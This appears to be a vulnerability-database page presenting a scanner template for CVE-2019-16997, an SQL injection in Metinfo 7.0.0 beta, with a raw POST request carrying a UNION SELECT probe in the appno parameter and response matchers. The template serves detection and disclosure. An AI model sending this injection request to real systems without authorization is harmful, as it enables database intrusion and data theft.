CVE-2019-16997: Metinfo 7.0.0 beta - SQL Injection

2025-08-01 Metinfo PoC Public

Description

Metinfo 7.0.0 beta is susceptible to SQL Injection in app/system/language/admin/language_general.class.php via the admin/?n=language&c=language_general&a=doExportPack appno parameter.

PoC

id: CVE-2019-16997

info:
  name: Metinfo 7.0.0 beta - SQL Injection
  author: ritikchaddha
  severity: high
  description: Metinfo 7.0.0 beta is susceptible to SQL Injection in app/system/language/admin/language_general.class.php via the admin/?n=language&c=language_general&a=doExportPack appno parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to a patched version of Metinfo or apply the necessary security patches to mitigate the SQL Injection vulnerability.
  reference:
    - https://github.com/XiaOkuoAi/XiaOkuoAi.github.io/issues/2
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16997
    - https://github.com/jweny/pocassistdb
    - https://github.com/zhibx/fscan-Intranet
    - https://github.com/0ps/pocassistdb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2019-16997
    cwe-id: CWE-89
    epss-score: 0.49398
    epss-percentile: 0.98864
    cpe: cpe:2.3:a:metinfo:metinfo:7.0.0:beta:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: metinfo
    product: metinfo
  tags: cve,cve2019,metinfo,sqli,vuln

http:
  - raw:
      - |
        POST /admin/?n=language&c=language_general&a=doExportPack HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        appno= 1 union SELECT 98989*443131,1&editor=cn&site=web

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "43865094559"

      - type: status
        status:
          - 200
# digest: 490a00463044022032f150918edeb32a85eb36f179f9745f0024315b42ea7dbeb6ef7955ac82f2d402200a64a69a926e9abc34674546f774dadbe6d341b95d94e1992245396619e0a9d8:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities